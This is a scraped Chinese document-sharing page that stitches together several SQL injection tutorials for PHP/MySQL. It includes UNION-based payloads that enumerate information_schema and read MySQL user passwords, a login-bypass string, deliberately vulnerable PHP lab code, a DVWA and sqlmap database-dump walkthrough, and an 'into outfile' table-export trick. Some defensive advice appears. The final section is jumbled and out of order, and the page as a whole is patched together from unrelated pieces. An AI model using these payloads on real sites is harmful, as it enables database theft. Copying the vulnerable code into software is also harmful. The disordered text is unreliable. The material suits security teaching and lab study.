--+⼤部分程序只会调⽤数据库查询的第⼀条语句进⾏查询然后返回,⽽通过联合查询出的数据中,我们想看到的数据是在第⼆条语句中,如果我们想看到我们想要的数据有两种⽅法,第⼀种是让第⼀条数据返回假,第⼆种是通过sql语句直接返回我们想要的数据.第⼀种:我们让第⼀个查询的结果始终为假,通过使⽤and 0来实现,下⾯的标号啥的就⼲净了.index.php?id=1' and 0 union select null,null,null,null,null --+第⼆种:通过limit语句,limit在mysql中是⽤来分页的,通过他可以从查询出来的数据中获取我们想要的数据.index.php?id=1' union select null,null,null,null,null limit 1,1 --+◆查库与表字段◆查全部数据库名称: MySQL默认将所有表数据放⼊information_schema.schemata这个表中进⾏存储,我们可以查询这个表中的数据从⽽找出当前系统中所有的数据库名称.index.php?id=1' and 0 union select 1,1,database(),1,1 --+ // 找出当前所处库# -----------------------------------------------------------------------------------# 根据控制 limit 0,1,2,3....,可以获取到指定数量的数据库名称.index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+查询表中名称: 通过使⽤group_concat可以返回查询的所有结果,因为我们需要通过命名判断该我们需要的敏感数据.index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5> from information_schema.tables where table_schema='lyshark' --+ // 查lyshark库中表名称index.php?id=1' and 0 union select 1,2,table_name,4,5> from information_schema.tables where table_schema='lyshark' limit 0,1 --+ // 查lyshark库中表名称index.php?id=1' and 0 union select 1,2,table_name,4,5> from information_schema.tables where table_schema='lyshark' limit 1,1 --+ // 查lyshark库中表名称查询表中字段: 通过使⽤table_schema和table_name指定查询条件,即可查询到表中字段与数据.# -----------------------------------------------------------------------------------index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5> from information_schema.columns> where table_schema='lyshark' and table_name='lyshark' --+# -----------------------------------------------------------------------------------# 也可以查看mysql库user表中的字段,进⾏⼀个查询.index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5> from information_schema.columns> where table_schema='mysql' and table_name='user' --+index.php?id=1' and 0 union select 1,1,column_name,4,5> from information_schema.columns> where table_schema='mysql' and table_name='user' limit 0,1 --+查询表中数据: 查询表中数据,我们可以使⽤以下三种⽅式进⾏查询.index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 0,1--+ // 查询第⼀个⽤户index.php?id=1' and 0 union select 1,Host,Password,4,5 from er limit 1,1--+ // 查询第⼆个⽤户index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from ers --+盲注的使⽤: ⾸先需要简单修改上⽅的源代码,去掉回显框,然后修改以下代码.<!DOCTYPE html><html lang="en"><head><meta charset="gbk"><title>SQL 注⼊测试代码</title></head><?php$connect = mysqli_connect("localhost","root","123","lyshark");if($connect){$id = $_GET['id'];if(isset($id)){$sql = "select * from users where id='$id' limit 0,1";$query = mysqli_query($connect,$sql);$row = mysqli_fetch_array($query);if(!empty($row)){。

SQL注入漏洞原理分析

SQL注入漏洞原理分析

SQL注入漏洞原理分析1.SQL语句拼接:在Web应用程序中,常常使用动态生成的SQL查询语句来与数据库交互。

一种常见的方式是将用户输入的数据直接拼接到SQL语句中。

例如,一个登录应用程序可能会使用以下SQL查询语句来验证用户的凭据:```SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'```如果攻击者能够输入特殊字符作为用户名或密码,就可以修改原始SQL查询语句的结构,从而执行非法的操作。

2.构造恶意的输入:攻击者可以通过输入特殊字符来构造恶意的查询语句,以绕过应用程序的身份验证和访问控制机制。

例如,考虑以下输入:```'OR1=1;--```将该输入作为用户名或密码传递给上述SQL查询语句,将导致查询语句变为:```SELECT * FROM users WHERE username = '' OR 1=1; --' AND password = '输入的密码'```由于1=1的条件始终成立,这将绕过用户名和密码的验证,并返回所有用户的记录。

攻击者可以利用这种漏洞来执行其他恶意操作,如数据库的读写和删除。

3.盲注:在一些情况下,攻击者无法直接获取查询结果,但可以推断出一些信息。

这被称为盲注注入。

例如,应用程序可能会通过一些参数从数据库中检索敏感信息,如用户的电子邮件地址。

如果攻击者能够推断出正确的查询条件,他们可以构造恶意的输入来绕过访问控制机制,并获取目标用户的电子邮件地址。

4.预编译语句和参数化查询:预编译语句和参数化查询是一种防止SQL注入攻击的有效措施。

在这种方法中,应用程序将查询语句和用户输入分开处理,通过将用户输入作为参数传递给预编译语句来执行查询。

参数化查询使用参数绑定而不是字符串拼接,从而避免了SQL注入漏洞。

Php中sql注入漏洞示例 sql注入漏洞修复

Php中sql注入漏洞示例 sql注入漏洞修复

Php中sql注入漏洞示例sql注入漏洞修复这篇文章主要介绍了php中sql注入漏洞示例,大家在开发中一定要注意在开发网站的时候,出于安全考虑,需要过滤从页面传递过来的字符。

通常,用户可以通过以下接口调用数据库的内容:URL地址栏、登陆界面、留言板、搜索框等。

这往往给骇客留下了可乘之机。

轻则数据遭到泄露,重则服务器被拿下。

一、SQL注入的步骤a) 寻找注入点(如:登录界面、留言板等)b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解)c) 将sql语句发送给数据库管理系统(DBMS)d) DBMS接收请求,并将该请求解释成机器代码指令,执行必要的存取操作e) DBMS接受返回的结果,并处理,返回给用户因为用户构造了特殊的SQL语句,必定返回特殊的结果(只要你的SQL语句够灵活的话)。

下面,通过一个实例具体来演示下SQL注入二、SQL注入实例详解(以上测试均假设服务器未开启magic_quote_gpc)1) 前期准备工作先来演示通过SQL注入漏洞,登入后台管理员界面首先,创建一张试验用的数据表:代码如下:CREATETABLE `users` (`id`int(11) NOT NULL AUTO_INCREMENT,`username`varchar(64) NOT NULL,`password`varchar(64) NOT NULL,`email`varchar(64) NOT NULL,PRIMARYKEY (`id`),UNIQUEKEY `username` (`username`))ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=latin1;添加一条记录用于测试:代码如下:INSERTINTO users (username,password,email)VALUES('MarcoFly',md5('test'),'marcofly@');接下来,贴上登录界面的源代码:代码如下:Sql注入演示用户名:密码:当用户点击提交按钮的时候,将会把表单数据提交给validate.php页面,validate.php页面用来判断用户输入的用户名和密码有没有都符合要求(这一步至关重要,也往往是SQL漏洞所在)代码如下:$conn=@mysql_connect("localhost",'root','')or die("数据库连接失败!");;mysql_select_db("injection",$conn) or die("您要选择的数据库不存在");$name=$_POST['username'];$pwd=$_POST['password'];$sql="select * from users where username='$name' andpassword='$pwd'";$query=mysql_query($sql);$arr=mysql_fetch_array($query);if(is_array($arr)){header("Location:manager.php");}else{echo "您的用户名或密码输入有误,请重新登录!";}?>注意到了没有,我们直接将用户提交过来的数据(用户名和密码)直接拿去执行,并没有实现进行特殊字符过滤,待会你们将明白,这是致命的。

sql注入漏洞原理、常见测试方法及防御方法

sql注入漏洞原理、常见测试方法及防御方法

sql注入漏洞原理、常见测试方法及防御方法SQL注入漏洞原理:SQL注入是一种利用Web应用程序中未正确过滤、转义或验证用户输入的漏洞,允许攻击者执行恶意的SQL语句。

攻击者可以通过在输入中插入特定的注入代码来修改应用程序的SQL查询,或者绕过身份验证、绕过访问控制或直接获取敏感信息。

常见的SQL注入测试方法:1. 基于错误的盲注:场景是当应用程序返回错误消息时,攻击者可以通过插入错误的语句来诱使应用程序返回不同的错误消息。

通过观察错误消息,攻击者可以推测出数据库结构和内容。

2. 基于时间的盲注:场景是当应用程序有时间延迟时,攻击者可以通过插入一些导致延迟的语句来判断SQL语句的执行结果。

通过观察应用程序的响应时间,攻击者可以推测出一些敏感信息。

3. 基于布尔的盲注:场景是当应用程序返回不同的响应内容时,攻击者可以通过插入布尔语句来判断SQL语句的执行结果。

通过观察应用程序的响应内容,攻击者可以推测出一些敏感信息。

防御方法:1. 输入验证和过滤:对用户输入的数据进行验证和过滤,确保只有合法的数据被传递给SQL查询。

可以使用编程语言内置的验证函数,或采用正则表达式进行输入过滤。

2. 使用参数化查询或预编译语句:通过使用参数化查询或预编译语句,可以确保用户输入的数据被正确地转义和处理,从而避免SQL注入漏洞。

3. 最小权限原则:数据库用户应该被授予最小的权限,以限制其对数据库的访问。

具体来说,应该禁止数据库用户执行DDL语句,只允许执行必要的DML操作。

4. 异常处理:在应用程序中正确处理异常,不要将详细的错误信息暴露给攻击者。

错误信息应该记录在日志中,而不是直接显示给用户。

5. 定期更新和修补:及时更新和修补数据库和应用程序中的安全漏洞,以确保系统的安全性。

同时,定期进行安全审计和漏洞扫描,及时发现和修复潜在的SQL注入问题。

SQL注入漏洞

SQL注入漏洞

SQL注⼊漏洞
1、先在虚拟机的windows7中安装phpstuday
1)、先从官⽹下载软件安装包
2)、下载完成后从百度上查找安装的教程,安装完成后启动phpstuday
3)、在⽹站的根⽬录下可以进⾏查看
2、搭建dvwa环境
1)、先从⽹上下载dvwa
2)、下载解压后将⽂件夹放到⽹站根⽬录下(为了⽅便将名字改为了dvwa)
3)、把dvwa\config下的config.inc.php.dist改为config.inc.php后打开将密码改成”root”或者其他⽅便记住的密码。

4)、保持phpstudy开启状态,随便进个浏览器,地址栏输⼊:localhost/dvwa /setup.php中进⾏数据库创建,创建完成后会⾃动跳转到登录界⾯
5)、登录界⾯的默认账号是:admin,密码是:password,登录成功后会显⽰以下界⾯
3、使⽤sqlmap获取数据库的相关内容
1)、先从⽹上下载sqlmap.py(要想运⾏前提要安装python环境)
2)、进⾏测试
3)、从浏览器上进⾏登录dvwa后使⽤sqlmap配合burpsuite获取相关数据内容
先在sqlmap的⽬录下创建⽂件0313.txt
⽤浏览器启动代理后登录dvwa后开启burpsuite进⾏代理,在sql漏洞那⾥随便输⼊⼀个数字后,会把拦截的发送到burpsuite 点击右键copy to file到刚才创建的0313.txt中
⽤sqlmap进⾏注⼊测试后发现有漏洞
随后进⼊数据库进⾏拖库
在C:\Users\nmlwh0\AppData\Local\sqlmap\output\192.168.17.128\dump\dvwa⽬录下查看。

网络安全测试中的SQL注入漏洞与防范

网络安全测试中的SQL注入漏洞与防范

网络安全测试中的SQL注入漏洞与防范SQL注入漏洞是网络安全测试中一种常见的安全漏洞,它可以导致数据库被非法访问和篡改。

本文将探讨SQL注入漏洞的原理、测试方法和防范措施。

一、SQL注入漏洞原理SQL注入是一种利用Web应用程序对数据库进行非法操作的攻击方式。

它利用了应用程序对用户输入的处理不当的漏洞,将恶意的SQL代码插入到应用程序的数据库查询语句中,从而绕过应用程序的认证和授权机制,执行恶意操作。

SQL注入漏洞从根本上来说是由于应用程序没有对用户输入进行充分的验证和过滤造成的。

当应用程序接收到用户输入并将其拼接到数据库查询语句中时,如果没有对输入进行适当的处理,攻击者可以通过输入特殊的字符来修改原本的查询语句,进而对数据库进行非法操作。

二、SQL注入漏洞的测试方法为了发现和修复SQL注入漏洞,安全测试人员可以通过以下几种常用的测试方法:1. 基于错误消息的注入测试:测试人员在用户输入中插入一些恶意的SQL代码,观察应用程序返回的错误消息是否包含数据库相关的信息。

如果错误消息暴露了数据库的结构或内容,那么就存在SQL注入漏洞。

2. 基于盲注的注入测试:测试人员通过观察应用程序在不同输入情况下的响应时间或返回结果来判断是否存在注入漏洞。

攻击者可以通过构造一系列特定的SQL查询语句和恶意输入,来判定应用程序是否存在注入漏洞。

3. 基于布尔盲注的注入测试:测试人员通过构造一系列特定的SQL 查询语句和恶意输入,观察应用程序在不同输入情况下的布尔返回值来判断是否存在注入漏洞。

攻击者可以通过这种方式逐位地猜测数据的值,最终获取敏感信息。

4. 基于时间盲注的注入测试:测试人员通过观察应用程序在不同输入情况下的响应时间来判断是否存在注入漏洞。

攻击者可以通过构造一系列特定的SQL查询语句和恶意输入,通过应用程序的响应时间来获取敏感信息。

三、SQL注入漏洞的防范措施为了避免SQL注入漏洞的发生,开发人员和系统管理员可以采取以下几种常见的防范措施:1. 使用参数化语句或预编译语句:开发人员应该使用参数化查询或预编译语句来处理用户输入,而不是直接将用户输入拼接到SQL查询语句中。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。


是,SQL 注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况
进行分析,构造巧妙的 SQL 语句,从而成功获取想要的数据,是高手与“菜鸟”的根本区
别。');
假设 mysql 的脚本文件为 darg.sql,那么,导入数据库的方法为:先进入 mysql,use lab, source /路径/darg.sql
6.2 网页拖库
在地址栏输入: http://192.168.1.11:81/drag/index.php?id=1’into outfile ‘outfile.txt’%23 分析:%23 是#的 ASCII 码,由于在地址栏中直接输入#后到数据库系统中会变成空,需 要在地址栏中输入%23,那么才会变成#,进而注释掉后面的 sql 语句。 运行之后,打开/var/lib/mysql/lab/,发现多了一个 sql.txt 文件,打开之后,里面就是表 article 中的一条记录。 为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索 id 为 1 的一条记录而已,那么能否将 article 表中的所有记录一次性全部下载下来呢? 答案是可以的,只要你的构造的 SQL 语句足够灵活(再次提出了构造 SQL 语句的灵活性)。 分析一下,当在 URL 地址栏中输入'into outfile 'outfile.txt '%23 的时候,合并到 sql 查询 语句中变为: SELECT * FROM article WHERE articleid='5' into outfile ' outfile.txt'#' 仔细分析下之后,我们可以这样子构造 SQL 语句: SELECT * FROM article WHERE articleid='' or 1=1 into outfile ' outfile.txt'#' 这样的话,无论如何 WHERE 子句总是为真,换句话说,该 sql 语句等价于如下: SELECT * FROM article into outfile 'outfile.txt'#' 懂了吧,该 sql 语句在先执行 select 语句,将表 article 中的所以内容全部检索出来,然 后再执行 into outfile 'outfile.txt'#'将内容导出来。 利用 SQL 注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT 函数)等等,当然 了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等。
虽然提示该记录不存在,但该命令已经执行了。
4 Mysql 脚本
use lab; DROP TABLE IF EXISTS `article`; CREATE TABLE `article` (
`articleid` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', `content` text CHARACTER SET utf8 NOT NULL, PRIMARY KEY (`articleid`) );
5 Php 脚本
把该文件命名为 index.php,其内容为:、
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = "123456"; $dbname = "lab"; $id=$_GET['id'];//id 未经过滤 $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败 "); mysql_select_db($dbname,$conn); mysql_query('set names utf8'); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_query($sql,$conn); $row = mysql_fetch_array($result); echo "<p>利用 SQL 注入漏洞拖库<p>"; if (!$row){ echo "该记录不存在"; exit; } echo "标题<br>".$row['title']."<p>"; echo "内容<br>".$row['content']."<p>"; ?>
INSERT INTO `article` VALUES ('2', 'SQL 注入漏洞防不胜防', 'select * from users where username=\'\' or 1=1#\' and password=md5(\'\')\r\n 语义分析:“#”在 mysql 中是注释符,这 样井号后面的内容将被 mysql 视为注释内容,这样就不会去执行了,换句话说,以下的两句 sql 语句等价:\r\nselect * from users where username=\'\' or 1=1#\' and password=md5(\'\')\r\n 等价于\r\nselect * from users where username=\'\' or 1=1\r\n \r\n 因为 1=1 永远是都是成立的, 即 where 子句总是为真,将该 sql 进一步简化之后,等价于如下 select 语句:\r\nselect * from users\r\n 没错,该 sql 语句的作用是检索 users 表中的所有字段\r\n 小技巧:如果不知道’ or
交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的
SQL Injection,即 SQL 注入。\r\n
SQL 注入是从正常的 WWW 端口访问,而且表面看
起来跟一般的 Web 页面访问没什么区别,所以目前市面的防火墙都不会对 SQL 注入发出警

报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。\r\n
假设 php 脚本的文件名为 index.php,放在/var/www/html/drag 目录下。则浏览方式如 下:
http://192.168.1.11:81/drag/index.php?id=1
6 拖库
6.1 首先使用 mysql 命令测试一下。
use lab; SELECT * FROM article into outfile 'mydrag.txt'; 看到提示:Query OK, 3 rows affected (0.00 sec)说明命令可以使用,且没有写入权限问题 (注:linux 的文件操作权限比较严格,在 windows 系统下则比较容易实现) 到/var/lib/mysql/lab/目录下查看,可以发现有 mydrag.txt 文件存在(注:如果在 windows 系统下,可以将 outfile 的目录设置为 web 目录下,然后在浏览器输入文件路径直接下载回 来)。
注入发出警报,如果管理员没查看 IIS 日志的习惯,可能被入侵很长时间都不会发觉。\r\n
随着 B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于
这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代
码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提
1=1#中的单引号的作用,可以自己 echo 下 sql 语句,就一目了然了。');
INSERT INTO `article` VALUES ('3', 'SQL 的定义', ' SQL 注入是从正常的 WWW 端口访问,而
且表面看起来跟一般的 Web 页面访问没什么区别, 所以目前市面的防火墙都不会对SQL
利用 SQL 注入漏洞拖库的方法
1 建立数据库和表
建立数据库 lab。 在 lab 数据库创建一张表 article
2 建立测试网页
在/var/www/html 目录下新建目录 drag
3 注意编码格式
用 vim 打开后:set fileencoding 即可显示文件编码格式 将编码统一设置为 utf8
INSERT INTO `article` VALUES ('1', '利用 SQL 注入漏洞拖库', '看到了吧,一个经构造后的 sql 语句竟有如此可怕的破坏力,相信你看到这后,开始对 sql 注入有了一个理性的认识了吧~\r\n 没错,SQL 注入就是这么容易。但是,要根据实际情况构造灵活的 sql 语句却不是那么容易 的。有了基础之后,自己再去慢慢摸索吧。\r\n 有没有想过,如果经由后台登录窗口提交的 数据都被管理员过滤掉特殊字符之后呢?这样的话,我们的万能用户名’ or 1=1#就无法使 用了。但这并不是说我们就毫无对策,要知道用户和数据库打交道的途径不止这一条。\r\n 更多关于 SQL 注入的信息请看我的另一篇博文:利用 SQL 注入拖库');
相关文档
最新文档